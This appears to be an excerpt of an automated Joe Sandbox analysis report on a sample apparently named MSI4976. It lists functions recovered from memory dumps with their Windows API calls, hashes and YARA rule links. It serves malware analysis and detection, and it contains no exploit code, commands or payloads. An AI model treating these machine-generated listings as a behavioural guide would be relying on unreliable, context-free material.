Instruction ID: 3e64c81ca875638d6180153be63c961e0391d7ae266fe82ae4845ec4729de49e
Opcode Fuzzy Hash: 371bcc47948a99a514ec9cb860760d224c6651ca9f23c8ec29d74b415d9af8a0
Instruction Fuzzy Hash: 3E21A731240605BFDB279F608C00F7BB7ADFB89711F14801AFA0A96550EB75E4119754

Function 00388834 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 003888A3
SetWindowLongW.USER32(?,000000EC,00000000), ref: 003888BD
SetWindowLongW.USER32(?,000000EC,00000000), ref: 003888CB
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 003888D9

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: cd4ed5f5e6ded06a8a05720f4e2652e2722abb96b822fbb52c41a36cbe517688
Instruction ID: 8703a30221f7709f333c7c5e9866b74023325d2e68d7b6747dd37e2a156f3226
Opcode Fuzzy Hash: cd4ed5f5e6ded06a8a05720f4e2652e2722abb96b822fbb52c41a36cbe517688
Instruction Fuzzy Hash: 33117F31205614AFDB16AB28DC05FAA7BADAF96320F544159F816CB2A1CB60AC008790

Function 0037900C Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 0037906D
__WSAFDIsSet.WS2_32(00000000,00000001), ref: 0037907F
accept.WS2_32(00000000,00000000,00000000), ref: 0037908C
WSAGetLastError.WS2_32(00000000), ref: 003790A3

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ErrorLastacceptselect
String ID:
API String ID: 385091864-0
Opcode ID: fd7eb77d7725c815c0fa11df1b0cf99a375a2f1cd93497679413edfc7d0d2387
Instruction ID: 48fc98b6632645ce978899eb8ce2df71337f4fcedfa8e8b6cfa3d173b333dc10
Opcode Fuzzy Hash: fd7eb77d7725c815c0fa11df1b0cf99a375a2f1cd93497679413edfc7d0d2387
Instruction Fuzzy Hash: C8215472A001249FC715DF69D885A9EBBFCEF4A710F00816AF84AD7290DA74DA45CB90

Function 003618E8 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00362CAA: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,003618FD,?,?,?,003626BC,00000000,000000EF,00000119,?,?), ref: 00362CB9
Part of subcall function 00362CAA: lstrcpyW.KERNEL32(00000000,?,?,003618FD,?,?,?,003626BC,00000000,000000EF,00000119,?,?,00000000), ref: 00362CDF
Part of subcall function 00362CAA: lstrcmpiW.KERNEL32(00000000,?,003618FD,?,?,?,003626BC,00000000,000000EF,00000119,?,?), ref: 00362D10

lstrlenW.KERNEL32(?,00000002,?,?,?,?,003626BC,00000000,000000EF,00000119,?,?,00000000), ref: 00361916
lstrcpyW.KERNEL32(00000000,?,?,003626BC,00000000,000000EF,00000119,?,?,00000000), ref: 0036193C
lstrcmpiW.KERNEL32(00000002,cdecl,?,003626BC,00000000,000000EF,00000119,?,?,00000000), ref: 00361970

Strings

cdecl, xrefs: 00361967

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 7d3cdb0c091ce71df2115c6b8051011aefd59dab8d023bc324eb94509f77e840
Instruction ID: 96810cdeeb46f4c9acc35be983ab7dc1369ddc90eb0a44a580e152dd8c24594e
Opcode Fuzzy Hash: 7d3cdb0c091ce71df2115c6b8051011aefd59dab8d023bc324eb94509f77e840
Instruction Fuzzy Hash: AC11DD3A200301AFDB16AF34D855D7A77F8FF85350B45C42AF806CB2A8EB71A85187E1

Function 0036713C Relevance: 6.1, APIs: 4, Instructions: 64fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 0036715C
_memset.LIBCMT ref: 0036717D
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 003671CF
CloseHandle.KERNEL32(00000000), ref: 003671D8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: 5a347bd39b790398cdacb720c3e9d9aac701d21e8d49435398e3618d04eef410
Instruction ID: c6adcb6f6cc24303d0310759a0118eeceb7596dd96954a227a04d2b0a7f7b66f
Opcode Fuzzy Hash: 5a347bd39b790398cdacb720c3e9d9aac701d21e8d49435398e3618d04eef410
Instruction Fuzzy Hash: 60110A729012287AD7315BA5AC4DFEBBABCEF46764F10419AF505E71D0D2704E808BA4

Function 003613D1 Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 003613EE
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00361409
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 0036141F
FreeLibrary.KERNEL32(?), ref: 00361474

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Type$FileFreeLibraryLoadModuleNameRegister
String ID:
API String ID: 3137044355-0
Opcode ID: 4c1e4604c6aa77371734b16151a1cb2b9a63afdba0648e2904be706455893018
Instruction ID: 1994f42fdcce546115b8a6328e76c7c36c6fe7de919ee5c3ed5201e62c0d3b5b
Opcode Fuzzy Hash: 4c1e4604c6aa77371734b16151a1cb2b9a63afdba0648e2904be706455893018
Instruction Fuzzy Hash: A721AC75A00209ABDB239F92DC88ADABBBCEF00700F04C569A5129B554DBB4EA04CF90

Function 0035C265 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 0035C285
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0035C297
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0035C2AD
SendMessageW.USER32(?,000000C9,?,00000000), ref: 0035C2C8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: cf9fc60cb2df284adfb9ab36619fffbdee2b5ac10cfac83f51353ef3b29a3bac
Instruction ID: 9e3fe90e4f139c82c011e7ce16751b28261487bcfb338eddaed69396a9a6b5ee
Opcode Fuzzy Hash: cf9fc60cb2df284adfb9ab36619fffbdee2b5ac10cfac83f51353ef3b29a3bac
Instruction Fuzzy Hash: 1E11487A900218FFDF11DFD8C880E9DBBB8FB08714F214091EA00B7290D671AE10DB94

Function 00367C45 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00367C6C
MessageBoxW.USER32(?,?,?,?), ref: 00367C9F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00367CB5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00367CBC

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 3d696d5a9808ac3ee81a5c2c9a1c3f1c16556c66122bff5d6922d7d30a753e77
Instruction ID: 4000f1f3a986537910125a3f734530453e83af68bded46f8146537d7c6f91aa9
Opcode Fuzzy Hash: 3d696d5a9808ac3ee81a5c2c9a1c3f1c16556c66122bff5d6922d7d30a753e77
Instruction Fuzzy Hash: 8A110472A04244BFC7139BA89C48AAA7FAD9B05324F558355F825D72D1D67089048BA0

Function 003649D1 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 003649EE
Sleep.KERNEL32(00000000), ref: 00364A13
QueryPerformanceCounter.KERNEL32(?), ref: 00364A1D
Sleep.KERNEL32(?), ref: 00364A50

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 7aef42b8851a8cf68717dcbef9586971f725b9bedd2c9c0a380b83a158f4f626
Instruction ID: 5501d145e7d5c9ca68ef14e920d5fa98e97336e96e771bf6208ecc87431c9d9e
Opcode Fuzzy Hash: 7aef42b8851a8cf68717dcbef9586971f725b9bedd2c9c0a380b83a158f4f626
Instruction Fuzzy Hash: C9113C31D40518EBCF06EFE5E989AEEBF78FF0A711F018055E942B6254CB309550CBA9

Function 00355BA2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00355BC6

Part of subcall function 003562A5: __fltout2.LIBCMT ref: 003562CE

__cftog_l.LIBCMT ref: 00355BEC
__cftoe_l.LIBCMT ref: 00355C1E

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 7d49baf581dffe8f635a42ffdbc740a7830a6b862966e1c20fc1835888840d1f
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: E8017B3200064EBBCF135E84DC62CEE3F66BB18352B598914FE1859031C232EAB5AB81

Function 003480E2 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034869D: __getptd_noexit.LIBCMT ref: 0034869E

__lock.LIBCMT ref: 0034811F
InterlockedDecrement.KERNEL32(?), ref: 0034813C
_free.LIBCMT ref: 0034814F
InterlockedIncrement.KERNEL32(017D3588), ref: 00348167

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: 1db4bb771325b55640b21dd0fe31a1f832f9bf2b855ba471c9acf958078e297e
Instruction ID: 94d1ac843da9e5597718b70d6cb7eb5f1914754855a94eba2188a5d10439521b
Opcode Fuzzy Hash: 1db4bb771325b55640b21dd0fe31a1f832f9bf2b855ba471c9acf958078e297e
Instruction Fuzzy Hash: 40016D76906A119BCB53AF65A8067ADB7E4BF05710F06041AF4156F791CF247842CBD2

Function 00348724 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00348768

Part of subcall function 00348984: __mtinitlocknum.LIBCMT ref: 00348996
Part of subcall function 00348984: RtlEnterCriticalSection.NTDLL(00340127), ref: 003489AF

InterlockedIncrement.KERNEL32(DC840F00), ref: 00348775
__lock.LIBCMT ref: 00348789
___addlocaleref.LIBCMT ref: 003487A7

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID:
API String ID: 1687444384-0
Opcode ID: 20d9b11b4cbec5ee65331d1d55c1f0dc28411eafa5f9aa70f7f31b45395b984f
Instruction ID: 581f65e78f722df173b8f05f86badb687d7d1159d297d91346e2b4a5683838d4
Opcode Fuzzy Hash: 20d9b11b4cbec5ee65331d1d55c1f0dc28411eafa5f9aa70f7f31b45395b984f
Instruction Fuzzy Hash: A2016976415B009FE762EF65D90675AFBE0EF40325F20890EE0AA9F6A0CB70B640CB01

Function 00369C73 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 00369C7F

Part of subcall function 0036AD14: _memset.LIBCMT ref: 0036AD49

_memmove.LIBCMT ref: 00369CA2
_memset.LIBCMT ref: 00369CAF
RtlLeaveCriticalSection.NTDLL(?), ref: 00369CBF

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: f47a0160d8b3ceb53f9590e06354087be91528bedd25d0f3eefa52b9c28f2f12
Instruction ID: a51218281d36e785a7aaf715f9e93d1aada2b0a019a780f866a07ace87cc689e
Opcode Fuzzy Hash: f47a0160d8b3ceb53f9590e06354087be91528bedd25d0f3eefa52b9c28f2f12
Instruction Fuzzy Hash: 4AF0307A200000ABCF026F54EC85A49BB29EF45310F08C051FE099E217C731A811DBB5

Function 0038E83C Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 0033B58B: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0033B5EB
Part of subcall function 0033B58B: SelectObject.GDI32(?,00000000), ref: 0033B5FA
Part of subcall function 0033B58B: BeginPath.GDI32(?), ref: 0033B611
Part of subcall function 0033B58B: SelectObject.GDI32(?,00000000), ref: 0033B63B

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0038E860
LineTo.GDI32(00000000,?,?), ref: 0038E86D
EndPath.GDI32(00000000), ref: 0038E87D
StrokePath.GDI32(00000000), ref: 0038E88B

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 57b295fd4fe324a8fdc6490239b2279e8854625bd9ac5950bd230065d013e5ec
Instruction ID: f315361aec3e20e42220b363aacce704e3a25530d6cdd6df2a3b28662908b63d
Opcode Fuzzy Hash: 57b295fd4fe324a8fdc6490239b2279e8854625bd9ac5950bd230065d013e5ec
Instruction Fuzzy Hash: 26F05E31001269BADB136F54AC09FCE3F9DAF06711F048241FA12650E187759552CF95

Function 0035D623 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0035D640
GetWindowThreadProcessId.USER32(?,00000000), ref: 0035D653
GetCurrentThreadId.KERNEL32 ref: 0035D65A
AttachThreadInput.USER32(00000000), ref: 0035D661

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 83a6bdc302321408c0836ac433ae1b2c001a4e35be53fc5ed91661b22ec3c506
Instruction ID: 60779724b404159bc1401fe711f8a269466289b4e41a7e1dda97ffd498433d7c
Opcode Fuzzy Hash: 83a6bdc302321408c0836ac433ae1b2c001a4e35be53fc5ed91661b22ec3c506
Instruction Fuzzy Hash: D4E06D71141228BADB221FA2DC0DEDB7F1CEF227A2F808010B90E85870CA71D585CBE0

Function 0033B0AC Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0033B0C5
SetTextColor.GDI32(?,000000FF), ref: 0033B0CF
SetBkMode.GDI32(?,00000001), ref: 0033B0E4
GetStockObject.GDI32(00000005), ref: 0033B0EC
GetWindowDC.USER32(?,00000000), ref: 0039ECFA
GetPixel.GDI32(00000000,00000000,00000000), ref: 0039ED07
GetPixel.GDI32(00000000,?,00000000), ref: 0039ED20
GetPixel.GDI32(00000000,00000000,?), ref: 0039ED39
GetPixel.GDI32(00000000,?,?), ref: 0039ED59
ReleaseDC.USER32(?,00000000), ref: 0039ED64

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: b66d998b7ab04eedbc52c723df44f377fec338935a19ffc99166fe2b1b2b079e
Instruction ID: a35cad4f9d0e8d72d80fb4b3f5e7d555b1185eb954f66f4b1290d5789a9eb7bd
Opcode Fuzzy Hash: b66d998b7ab04eedbc52c723df44f377fec338935a19ffc99166fe2b1b2b079e
Instruction Fuzzy Hash: AEE0ED71500240AEEF635F78AC497987B25AB56335F148266F76A580E2C7724581DB11

Function 0039C0A0 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0039C0A0
GetDC.USER32(00000000), ref: 0039C0AA
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0039C0C9
ReleaseDC.USER32 ref: 0039C0E8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

